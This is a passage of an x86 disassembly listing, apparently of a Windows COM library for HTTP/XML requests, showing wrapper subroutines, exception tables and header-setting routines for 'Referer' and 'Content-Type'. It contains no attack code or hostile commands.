mov ecx, eax
call sub_69B2E804
loc_69B7CF11: ; CODE XREF: sub_69B7CEAC+45j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7CF2C: ; CODE XREF: sub_69B7CEAC+1Ej
call sub_69B1853C
retn 0Ch
sub_69B7CEAC endp
; ---------------------------------------------------------------------------
align 8
dword_69B7CF38 dd 0FFFFFFFFh dd offset loc_69B7CEF3
dd offset loc_69B7CEFC
; =============== S U B R O U T I N E =======================================
sub_69B7CF44 proc near ; DATA XREF: .text:69B1455Co
push 20h
push offset dword_69B7CFD0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7CF64
mov eax, 80004005h
jmp short loc_69B7CFC4
; ---------------------------------------------------------------------------
loc_69B7CF64: ; CODE XREF: sub_69B7CF44+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+40h]
jmp short loc_69B7CFA9
; ---------------------------------------------------------------------------
loc_69B7CF8B: ; DATA XREF: .text:69B7CFD4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7CF94: ; DATA XREF: .text:69B7CFD8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7CFA9: ; CODE XREF: sub_69B7CF44+45j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7CFC4: ; CODE XREF: sub_69B7CF44+1Ej
call sub_69B1853C
retn 0Ch
sub_69B7CF44 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7CFD0 dd 0FFFFFFFFh dd offset loc_69B7CF8B
dd offset loc_69B7CF94
; =============== S U B R O U T I N E =======================================
sub_69B7CFDC proc near ; DATA XREF: .text:69B14560o
push 20h
push offset dword_69B7D068
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7CFFC
mov eax, 80004005h
jmp short loc_69B7D059
; ---------------------------------------------------------------------------
loc_69B7CFFC: ; CODE XREF: sub_69B7CFDC+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+54h]
jmp short loc_69B7D03E
; ---------------------------------------------------------------------------
loc_69B7D020: ; DATA XREF: .text:69B7D06Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7D029: ; DATA XREF: .text:69B7D070o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7D03E: ; CODE XREF: sub_69B7CFDC+42j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7D059: ; CODE XREF: sub_69B7CFDC+1Ej
call sub_69B1853C
retn 8
sub_69B7CFDC endp
; ---------------------------------------------------------------------------
align 8
dword_69B7D068 dd 0FFFFFFFFh dd offset loc_69B7D020
dd offset loc_69B7D029
; =============== S U B R O U T I N E =======================================
sub_69B7D074 proc near ; DATA XREF: .text:69B14564o
push 20h
push offset dword_69B7D108
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7D094
mov eax, 80004005h
jmp short loc_69B7D0FA
; ---------------------------------------------------------------------------
loc_69B7D094: ; CODE XREF: sub_69B7D074+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
sub esp, 10h
lea esi, [ebp+0Ch]
mov edi, esp
movsd
movsd
movsd
movsd
push eax
call dword ptr [ecx+44h]
jmp short loc_69B7D0DF
; ---------------------------------------------------------------------------
loc_69B7D0C1: ; DATA XREF: .text:69B7D10Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7D0CA: ; DATA XREF: .text:69B7D110o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7D0DF: ; CODE XREF: sub_69B7D074+4Bj
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7D0FA: ; CODE XREF: sub_69B7D074+1Ej
call sub_69B1853C
retn 14h
sub_69B7D074 endp
; ---------------------------------------------------------------------------
align 8
dword_69B7D108 dd 0FFFFFFFFh dd offset loc_69B7D0C1
dd offset loc_69B7D0CA
; =============== S U B R O U T I N E =======================================
sub_69B7D114 proc near ; DATA XREF: .text:69B14574o
push 20h
push offset dword_69B7D1A0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7D134
mov eax, 80004005h
jmp short loc_69B7D191
; ---------------------------------------------------------------------------
loc_69B7D134: ; CODE XREF: sub_69B7D114+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+58h]
jmp short loc_69B7D176
; ---------------------------------------------------------------------------
loc_69B7D158: ; DATA XREF: .text:69B7D1A4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7D161: ; DATA XREF: .text:69B7D1A8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7D176: ; CODE XREF: sub_69B7D114+42j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7D191: ; CODE XREF: sub_69B7D114+1Ej
call sub_69B1853C
retn 8
sub_69B7D114 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7D1A0 dd 0FFFFFFFFh dd offset loc_69B7D158
dd offset loc_69B7D161
; =============== S U B R O U T I N E =======================================
sub_69B7D1AC proc near ; DATA XREF: .text:69B1457Co
push 20h
push offset dword_69B7D238
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7D1CC
mov eax, 80004005h
jmp short loc_69B7D229
; ---------------------------------------------------------------------------
loc_69B7D1CC: ; CODE XREF: sub_69B7D1AC+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+60h]
jmp short loc_69B7D20E
; ---------------------------------------------------------------------------
loc_69B7D1F0: ; DATA XREF: .text:69B7D23Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7D1F9: ; DATA XREF: .text:69B7D240o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7D20E: ; CODE XREF: sub_69B7D1AC+42j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7D229: ; CODE XREF: sub_69B7D1AC+1Ej
call sub_69B1853C
retn 8
sub_69B7D1AC endp
; ---------------------------------------------------------------------------
align 8
dword_69B7D238 dd 0FFFFFFFFh dd offset loc_69B7D1F0
dd offset loc_69B7D1F9
; =============== S U B R O U T I N E =======================================
sub_69B7D244 proc near ; DATA XREF: .text:69B14578o
push 20h
push offset dword_69B7D2D0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7D264
mov eax, 80004005h
jmp short loc_69B7D2C1
; ---------------------------------------------------------------------------
loc_69B7D264: ; CODE XREF: sub_69B7D244+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+5Ch]
jmp short loc_69B7D2A6
; ---------------------------------------------------------------------------
loc_69B7D288: ; DATA XREF: .text:69B7D2D4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7D291: ; DATA XREF: .text:69B7D2D8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7D2A6: ; CODE XREF: sub_69B7D244+42j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7D2C1: ; CODE XREF: sub_69B7D244+1Ej
call sub_69B1853C
retn 8
sub_69B7D244 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7D2D0 dd 0FFFFFFFFh dd offset loc_69B7D288
dd offset loc_69B7D291
; =============== S U B R O U T I N E =======================================
sub_69B7D2DC proc near ; DATA XREF: .text:69B14580o
push 20h
push offset dword_69B7D368
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7D2FC
mov eax, 80004005h
jmp short loc_69B7D359
; ---------------------------------------------------------------------------
loc_69B7D2FC: ; CODE XREF: sub_69B7D2DC+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+64h]
jmp short loc_69B7D33E
; ---------------------------------------------------------------------------
loc_69B7D320: ; DATA XREF: .text:69B7D36Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7D329: ; DATA XREF: .text:69B7D370o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7D33E: ; CODE XREF: sub_69B7D2DC+42j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7D359: ; CODE XREF: sub_69B7D2DC+1Ej
call sub_69B1853C
retn 8
sub_69B7D2DC endp
; ---------------------------------------------------------------------------
align 8
dword_69B7D368 dd 0FFFFFFFFh dd offset loc_69B7D320
dd offset loc_69B7D329
; =============== S U B R O U T I N E =======================================
sub_69B7D374 proc near ; DATA XREF: .text:69B1456Co
push 20h
push offset dword_69B7D400
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7D394
mov eax, 80004005h
jmp short loc_69B7D3F1
; ---------------------------------------------------------------------------
loc_69B7D394: ; CODE XREF: sub_69B7D374+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+4Ch]
jmp short loc_69B7D3D6
; ---------------------------------------------------------------------------
loc_69B7D3B8: ; DATA XREF: .text:69B7D404o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7D3C1: ; DATA XREF: .text:69B7D408o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7D3D6: ; CODE XREF: sub_69B7D374+42j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7D3F1: ; CODE XREF: sub_69B7D374+1Ej
call sub_69B1853C
retn 8
sub_69B7D374 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7D400 dd 0FFFFFFFFh dd offset loc_69B7D3B8
dd offset loc_69B7D3C1
; =============== S U B R O U T I N E =======================================
sub_69B7D40C proc near ; DATA XREF: .text:69B14570o
push 20h
push offset dword_69B7D498
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7D42C
mov eax, 80004005h
jmp short loc_69B7D489
; ---------------------------------------------------------------------------
loc_69B7D42C: ; CODE XREF: sub_69B7D40C+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+50h]
jmp short loc_69B7D46E
; ---------------------------------------------------------------------------
loc_69B7D450: ; DATA XREF: .text:69B7D49Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7D459: ; DATA XREF: .text:69B7D4A0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7D46E: ; CODE XREF: sub_69B7D40C+42j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7D489: ; CODE XREF: sub_69B7D40C+1Ej
call sub_69B1853C
retn 8
sub_69B7D40C endp
; ---------------------------------------------------------------------------
align 8
dword_69B7D498 dd 0FFFFFFFFh dd offset loc_69B7D450
dd offset loc_69B7D459
; =============== S U B R O U T I N E =======================================
sub_69B7D4A4 proc near ; DATA XREF: .text:69B14584o
push 20h
push offset dword_69B7D530
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7D4C4
mov eax, 80004005h
jmp short loc_69B7D521
; ---------------------------------------------------------------------------
loc_69B7D4C4: ; CODE XREF: sub_69B7D4A4+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+68h]
jmp short loc_69B7D506
; ---------------------------------------------------------------------------
loc_69B7D4E8: ; DATA XREF: .text:69B7D534o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7D4F1: ; DATA XREF: .text:69B7D538o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7D506: ; CODE XREF: sub_69B7D4A4+42j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7D521: ; CODE XREF: sub_69B7D4A4+1Ej
call sub_69B1853C
retn 8
sub_69B7D4A4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7D530 dd 0FFFFFFFFh dd offset loc_69B7D4E8
dd offset loc_69B7D4F1
; =============== S U B R O U T I N E =======================================
sub_69B7D53C proc near ; DATA XREF: .text:69B14588o
push 20h
push offset dword_69B7D5C8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7D55C
mov eax, 80004005h
jmp short loc_69B7D5B9
; ---------------------------------------------------------------------------
loc_69B7D55C: ; CODE XREF: sub_69B7D53C+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+6Ch]
jmp short loc_69B7D59E
; ---------------------------------------------------------------------------
loc_69B7D580: ; DATA XREF: .text:69B7D5CCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7D589: ; DATA XREF: .text:69B7D5D0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7D59E: ; CODE XREF: sub_69B7D53C+42j
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7D5B9: ; CODE XREF: sub_69B7D53C+1Ej
call sub_69B1853C
retn 8
sub_69B7D53C endp
; ---------------------------------------------------------------------------
align 8
dword_69B7D5C8 dd 0FFFFFFFFh dd offset loc_69B7D580
dd offset loc_69B7D589
; =============== S U B R O U T I N E =======================================
sub_69B7D5D4 proc near ; CODE XREF: sub_69B7D5F6+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B9A9C0
push off_69B9A9C4
lea ecx, [esi+0Ch]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B7D5D4 endp
; =============== S U B R O U T I N E =======================================
sub_69B7D5F6 proc near ; CODE XREF: sub_69B7DFAE+64p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B7D5D4
mov dword ptr [esi], offset off_69B14538
mov dword ptr [esi+4], offset off_69B2A5B8
mov dword ptr [esi+0Ch], offset off_69B2A5B4
mov eax, esi
pop esi
retn 4
sub_69B7D5F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7D61C proc near ; CODE XREF: sub_69B7796F+5j
; DATA XREF: .text:off_69B143A8o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push [ebp+arg_8]
mov esi, [ebp+arg_0]
push [ebp+arg_4]
lea ecx, [esi+4]
push esi
call sub_69B2CE84
test eax, eax
jz short loc_69B7D645
push [ebp+arg_8]
lea ecx, [esi+0Ch]
push [ebp+arg_4]
push esi
call sub_69B8803B
loc_69B7D645: ; CODE XREF: sub_69B7D61C+18j
pop esi
pop ebp
retn 0Ch
sub_69B7D61C endp
; =============== S U B R O U T I N E =======================================
sub_69B7D64A proc near ; DATA XREF: .text:off_69B2A5B4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B7D669
test [esp+4+arg_0], 1
jz short loc_69B7D662
lea eax, [esi-0Ch]
push eax
call sub_69B1B2B7
loc_69B7D662: ; CODE XREF: sub_69B7D64A+Dj
lea eax, [esi-0Ch]
pop esi
retn 4
sub_69B7D64A endp
; =============== S U B R O U T I N E =======================================
sub_69B7D669 proc near ; CODE XREF: sub_69B7D64A+3p
mov eax, ecx
lea ecx, [eax-0Ch]
neg ecx
sbb ecx, ecx
mov dword ptr [eax-0Ch], offset off_69B14538
mov dword ptr [eax-8], offset off_69B2A5B8
mov dword ptr [eax], offset off_69B2A5B4
and ecx, eax
jmp loc_69B88066
sub_69B7D669 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7D68D(int, int, LPCWSTR lpString, char, int, int, int, char, int, int, int, char, int, int, int)
sub_69B7D68D proc near ; DATA XREF: .text:69B145C8o
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
lpString = dword ptr 10h
arg_C = byte ptr 14h
arg_1C = byte ptr 24h
arg_2C = byte ptr 34h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
call dword_69B92948
xor edi, edi
cmp eax, edi
mov [ebp+var_4], eax
jnz short loc_69B7D6AF
mov eax, 80004005h
jmp loc_69B7D83A
; ---------------------------------------------------------------------------
loc_69B7D6AF: ; CODE XREF: sub_69B7D68D+16j
push edi
push eax
lea ecx, [ebp+var_10]
call sub_69B1A8C7
lea ecx, [ebp+var_24]
call sub_69B3A66D
mov ebx, [ebp+arg_0]
cmp byte ptr [ebx+40h], 0
jz short loc_69B7D6DA
cmp dword ptr [ebx+3Ch], 5
jz short loc_69B7D6DA
mov esi, 80004005h
jmp loc_69B7D817
; ---------------------------------------------------------------------------
loc_69B7D6DA: ; CODE XREF: sub_69B7D68D+3Bj
; sub_69B7D68D+41j
cmp [ebx+3Ch], edi
jz short loc_69B7D6F9
lea esi, [ebx+0B8h]
mov eax, [esi]
cmp eax, edi
jz short loc_69B7D6F1
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7D6F1: ; CODE XREF: sub_69B7D68D+5Cj
mov eax, [ebx]
push ebx
mov [esi], edi
call dword ptr [eax+48h]
loc_69B7D6F9: ; CODE XREF: sub_69B7D68D+50j
cmp [ebp+arg_4], edi
jz loc_69B7D80C
cmp [ebp+lpString], edi
jz loc_69B7D80C
push [ebp+arg_4]
call sub_69B84C68
test eax, eax
pop ecx
jz loc_69B7D80C
push [ebp+lpString]
call sub_69B84C68
test eax, eax
pop ecx
jz loc_69B7D80C
mov eax, [ebx+14h]
cmp eax, edi
jz short loc_69B7D755
cmp [eax+8], edi
jz short loc_69B7D755
push dword ptr [eax+0Ch] ; int
lea ecx, [ebp+var_24]
push [ebp+lpString] ; lpString
call sub_69B3A709
test eax, eax
jl short loc_69B7D755
mov eax, [ebp+var_1C]
cmp eax, edi
jz short loc_69B7D755
mov [ebp+lpString], eax
loc_69B7D755: ; CODE XREF: sub_69B7D68D+A5j
; sub_69B7D68D+AAj ...
lea eax, [ebx+88h]
push eax ; int
sub esp, 10h
mov edi, esp
lea esi, [ebp+arg_1C]
movsd
movsd
movsd
movsd
call sub_69B7A851
mov [ebx+84h], eax
lea eax, [ebx+90h]
push eax ; int
sub esp, 10h
mov edi, esp
lea esi, [ebp+arg_2C]
movsd
movsd
movsd
movsd
call sub_69B7A851
cmp dword ptr [ebx+84h], 0
mov [ebx+8Ch], eax
jz short loc_69B7D7A5
test eax, eax
jz short loc_69B7D7A5
mov byte ptr [ebx+0B0h], 1
loc_69B7D7A5: ; CODE XREF: sub_69B7D68D+10Bj
; sub_69B7D68D+10Fj
push [ebp+arg_4]
call sub_69B7A806
test eax, eax
mov [ebx+80h], eax
jnz short loc_69B7D7BE
mov esi, 8007000Eh
jmp short loc_69B7D811
; ---------------------------------------------------------------------------
loc_69B7D7BE: ; CODE XREF: sub_69B7D68D+128j
push [ebp+lpString]
mov ecx, ebx
call sub_69B7AB78
mov esi, eax
test esi, esi
jl short loc_69B7D811
mov ecx, ebx
call sub_69B7B7AC
mov esi, eax
test esi, esi
jl short loc_69B7D811
push 1 ; char
sub esp, 10h
mov edi, esp
lea esi, [ebp+arg_C]
movsd
movsd
movsd
movsd
call sub_69B7A93C
mov ecx, ebx
mov [ebx+0B2h], al
call sub_69B7C4A6
mov esi, eax
test esi, esi
jl short loc_69B7D811
push 1
mov ecx, ebx
call sub_69B7AA25
jmp short loc_69B7D817
; ---------------------------------------------------------------------------
loc_69B7D80C: ; CODE XREF: sub_69B7D68D+6Fj
; sub_69B7D68D+78j ...
mov esi, 80070057h
loc_69B7D811: ; CODE XREF: sub_69B7D68D+12Fj
; sub_69B7D68D+13Fj ...
mov eax, [ebx]
push ebx
call dword ptr [eax+48h]
loc_69B7D817: ; CODE XREF: sub_69B7D68D+48j
; sub_69B7D68D+17Dj
lea ecx, [ebp+var_24]
call sub_69B3A68D
lea ecx, [ebp+var_24]
call sub_69B3A8F3
lea ecx, [ebp+var_10]
call sub_69B1976C
push [ebp+var_4]
call dword_69B92944
mov eax, esi
loc_69B7D83A: ; CODE XREF: sub_69B7D68D+1Dj
pop edi
pop esi
pop ebx
leave
retn 3Ch
sub_69B7D68D endp
; =============== S U B R O U T I N E =======================================
sub_69B7D841 proc near ; CODE XREF: sub_69B7DCED+6Fp
push ebx
push edi
mov edi, ecx
mov eax, [edi+18h]
xor ebx, ebx
test eax, eax
jz short loc_69B7D87B
mov ecx, [eax+0Ch]
push esi
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov esi, eax
test esi, esi
jz short loc_69B7D87A
push 1 ; int
push esi ; int
push offset aReferer_0 ; "Referer"
mov ecx, edi
call sub_69B7C259
push esi ; BSTR
mov ebx, eax
call SysFreeString
loc_69B7D87A: ; CODE XREF: sub_69B7D841+1Fj
pop esi
loc_69B7D87B: ; CODE XREF: sub_69B7D841+Bj
pop edi
mov eax, ebx
pop ebx
retn
sub_69B7D841 endp
; ---------------------------------------------------------------------------
; const WCHAR aReferer_0
aReferer_0: ; DATA XREF: sub_69B7D841+24o
unicode 0, <Referer>,0
; =============== S U B R O U T I N E =======================================
sub_69B7D890 proc near ; CODE XREF: sub_69B7D8C5+1F3p
arg_0 = dword ptr 4
push esi
mov esi, ecx
lea eax, [esi+9Ch]
push eax
lea eax, [esi+98h]
push eax
push [esp+0Ch+arg_0]
call sub_69B55F28
test eax, eax
jl short loc_69B7D8C1
push 1 ; int
push offset aTextXml_0 ; "text/xml"
push offset aContentType ; "Content-Type"
mov ecx, esi
call sub_69B7C259
loc_69B7D8C1: ; CODE XREF: sub_69B7D890+1Cj
pop esi
retn 4
sub_69B7D890 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7D8C5 proc near ; CODE XREF: sub_69B7DCED+5Cp
pvarg = VARIANTARG ptr -40h
var_30 = byte ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
ppvData = dword ptr -1Ch
plLbound = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
pvarSrc = dword ptr -0Ch
psa = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_1 = byte ptr 9
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
push ebx
push esi
push edi
mov ebx, ecx
call dword_69B92948
xor esi, esi
cmp eax, esi
mov [ebp+var_24], eax
jnz short loc_69B7D8E9
mov eax, 80004005h
jmp loc_69B7DBBC
; ---------------------------------------------------------------------------
loc_69B7D8E9: ; CODE XREF: sub_69B7D8C5+18j
push esi
push eax
lea ecx, [ebp+var_30]
call sub_69B1A8C7
lea eax, [ebp+pvarg]
push eax ; pvarg
mov [ebp+var_4], esi
mov [ebp+var_14], esi
mov [ebp+psa], esi
mov [ebp+var_20], esi
call VariantInit
cmp dword ptr [ebx+3Ch], 1
jnz loc_69B7D9B1
mov eax, [ebx+98h]
cmp eax, esi
jz short loc_69B7D94F
push eax
call sub_69B1B2B7
lea edi, [ebx+0A0h]
mov eax, [edi]
cmp eax, esi
mov [ebx+98h], esi
mov [ebx+9Ch], esi
jz short loc_69B7D94F
push eax
call sub_69B1B2B7
mov [edi], esi
mov [ebx+0A4h], esi
mov [ebx+0A8h], esi
loc_69B7D94F: ; CODE XREF: sub_69B7D8C5+56j
; sub_69B7D8C5+74j
test [ebp+arg_1], 40h
jz short loc_69B7D95D
mov eax, [ebp+arg_8]
mov [ebp+pvarSrc], eax
jmp short loc_69B7D963
; ---------------------------------------------------------------------------
loc_69B7D95D: ; CODE XREF: sub_69B7D8C5+8Ej
lea eax, [ebp+arg_0]
mov [ebp+pvarSrc], eax
loc_69B7D963: ; CODE XREF: sub_69B7D8C5+96j
mov cx, [eax]
cmp cx, si
jz loc_69B7DB82
xor edi, edi
inc edi
cmp cx, di
jz loc_69B7DB82
cmp cx, 0Ah
jz loc_69B7DB82
test ch, 20h
jz loc_69B7DA66
test cl, 11h
jz loc_69B7DA66
mov eax, [eax+8]
push eax ; psa
mov [ebp+ppvData], esi
mov [ebp+pvarSrc], esi
mov [ebp+plLbound], esi
mov [ebp+psa], eax
call SafeArrayGetDim
cmp eax, edi
jz short loc_69B7D9BD
loc_69B7D9B1: ; CODE XREF: sub_69B7D8C5+48j
mov [ebp+var_4], 80004005h
jmp loc_69B7DB82
; ---------------------------------------------------------------------------
loc_69B7D9BD: ; CODE XREF: sub_69B7D8C5+EAj
lea eax, [ebp+ppvData]
push eax ; ppvData
push [ebp+psa] ; psa
call SafeArrayAccessData
cmp eax, esi
mov [ebp+var_4], eax
jl loc_69B7DB82
lea eax, [ebp+plLbound]
